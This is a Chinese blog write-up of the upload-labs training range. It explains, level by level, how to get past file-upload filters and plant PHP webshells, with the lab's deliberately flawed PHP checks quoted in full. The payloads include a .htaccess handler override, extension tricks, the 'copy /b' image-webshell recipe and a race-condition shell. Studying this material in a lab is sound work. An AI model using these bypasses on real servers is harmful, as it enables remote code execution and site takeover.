upload-labs(文件上传)总结

March 20, 2019 WEB安全 访问: 27 次

由于个人原因,需要重新看一个web的基本漏洞,所以抽时间重新过一遍

pass-01

首先上传一个php文件,发现提示

该文件不允许上传,请上传.jpg|.png|.gif类型的文件,当前文件类型为:.php

查看源代码发现检测文件类型的是js代码:

<script type="text/javascript">
    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }
</script>

要绕过js代码的方法很简单,js验证实在发送到服务器端之前而验证的,那么我们就可以在此之前做点手脚
首先我们将一句话木马写进去一个php文件,把后缀改成“.jpg”,然后上传文件,用BurpSuite抓住这个数据包

把这个数据包发送到Repeater模块,在这里将文件名muma.jpg改成muma.php,然后go(发送数据包)

发现已经成功的传到了服务器端

pass-02

同样先上传一个php文件,发现页面返回:

提示:文件类型不正确,请重新上传!

在http数据包中,判断文件类型的是Content-Type字段的值
同样抓包,修改Content-Type为image/jpeg

成功上传到服务器上去

pass-03

上传php文件提示:

提示:不允许上传.asp,.aspx,.php,.jsp后缀文件!

发现这一关是利用了黑名单限制,那么我们试一下php的别名,如php2、php3、php5、phtml、pht等
一开始我上传了一个php3的文件,虽然成功上传上去了,但是去访问的时候没有解析成php
查资料发现需要修改httpd.conf:(把前面的#去掉)

AddType application/x-httpd-php .php .phtml .php3 .php4 .php5 .php2

然后再次访问刚刚上传的php3文件,发现成功解析
(上传后的文件路径页面上有返回)

pass-04

根据提示我们可以看出,这一关的黑名单已经限制的很全了,几乎包含了所有php类似的后缀,但是没有限制“.htaccess”

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。

也就是说,我们将需要的配置写进一个".htaccess"文件里,然后上传到服务器
在这里我们可以在".htaccess"写进去:

<FilesMatch "jpeg">
 SetHandler application/x-httpd-php
</FilesMatch>

这三句话的意思就是把本目录下的jpeg文件当做php来解析
新建一个内容为下面的jpeg文件:

<?php phpinfo();?>

上传到服务器上之后访问这个文件,可以看到该文件成功的被当做php文件来解析了

pass-05

本关黑名单把".htaccess"也给限制了。
经过尝试发现大小写可以绕过
可以将php文件名后缀改成Php、pHp、phP等都可以绕过

pass-06

查看提示发现同样是黑名店限制,几乎涵盖了所有危险的后缀,那么查看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

发现没有去除文件名前后的空格,我们可以在文件名字后面加一个空格,绕过黑名单检测

pass-07

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

通过查看源码发现,本关少了去除文件名最后的点的操作,要想利用到这一点,我们必须知道windows操作系统的一个特性

在windows操作系统中,会自动去掉后缀名中的“.”(可以尝试一下)

在文件名后面加上一个点,成功上传文件

pass-08

本关还是通过利用windows操作系统的一个特性

在文件名后面加上"::$DATA",成功上传文件

pass-09

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

通过查看源码,按照源码上对文件名的操作我们可以做出相对应的文件名,经过测试我们可以在文件名后面加上“. .”(点+空格+点)

pass-10

查看提示发现,本关会去除这些字符,那么就想到了双写绕过

本pass会从文件名中去除.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess字符!

pass-11

提示上传路径可控,那么我们就可以考虑一下00截断,在实验的机器php版本不符合,所以没有成功上传上去。

pass-12

同pass-11,GET改成了POST

pass-13

要求上传一个图片马,提示上说只检测前两个字节,那么我们可以伪造一下文件头

常用文件头:
(1) .JPEG;.JPE;.JPG,”JPGGraphic File”
(2) .gif,”GIF 89A”
(3) .zip,”Zip Compressed”
(4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”

pass-14

查看提示:

本pass使用getimagesize()检查是否为图片文件!

直接利用图片马直接就可以过,制作图片马的方法:

将随意的一个图片和一个一句话木马结合在一起;
1.jpg
1.php
在Windows的cmd中执行命令:copy 1.jpg/b + 1.php /a shell.jpg

pass-15

用pass-14的方法就可以上传

pass-16

二次渲染详解

pass-17

提示需要代码审计

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;
    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

流程是先把文件上传到服务器上,然后再判断是不是符合类型,如果不符合,那么用unlink函数删除该文件,如果符号,用rename函数修改文件名
那么我们可以利用条件竞争来在unlink之前,访问shell
shell.php

<?php
system("whoami");
?>d

pass-18

原理用pass-17

pass-19

提示文件名可以控制,我们可以利用文件名加点来绕过检测

pass-20

审计代码后发现,如果我们输入的是一个数组的话,那么就不会分割我们的文件名,而是直接操作这个数组,根据代码我们可以传入:

$file[0] = wxm.php
$file[2] = jpg

我们没有定义$file[1],所以count($file)等于2,那么$file[count($file)-1]就为空,最后文件名就是$file[0]

总结

添加新评论